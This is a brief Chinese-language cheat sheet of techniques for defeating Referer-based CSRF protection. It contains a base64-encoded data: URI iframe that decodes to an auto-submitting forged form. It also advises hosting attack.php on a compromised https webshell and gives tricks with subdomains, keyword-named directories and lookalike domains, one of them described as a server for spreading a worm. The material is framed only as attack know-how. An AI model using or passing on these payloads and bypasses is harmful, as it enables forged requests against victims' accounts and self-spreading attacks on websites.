1.Refere為空條件下

解決方案:

    利用ftp://,http://,https://,file://,javascript:,data:這個時候瀏覽器地址欄是file://開頭的,如果這個HTML頁面向任何http站點提交請求的話,這些請求的Referer都是空的。

    例:

    利用data:協議

<html>
    <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </body> 
</html>

 

    bese64編碼 解碼即可看到代碼

 

  利用https協議

  https向http跳轉的時候Referer為空

  拿一個https的webshell

  <iframe src="https://xxxxx.xxxxx/attack.php">

 attack.php寫上CSRF攻擊代碼

 

2.判斷Referer是某域情況下繞過

 比如你找的csrf是xxx.com  驗證的referer是驗證的*.xx.com  可以找個二級域名 之后<img "csrf地址">  之后在把文章地址發出去 就可以偽造。

 

3.判斷Referer是否存在某關鍵詞

  referer判斷存在不存在google.com這個關鍵詞

  在網站新建一個google.com目錄 把CSRF存放在google.com目錄,即可繞過

 

4.判斷referer是否有某域名

   

  判斷了Referer開頭是否以126.com以及126子域名  不驗證根域名為126.com 那么我這里可以構造子域名x.126.com.xxx.com作為蠕蟲傳播的載體服務器,即可繞過。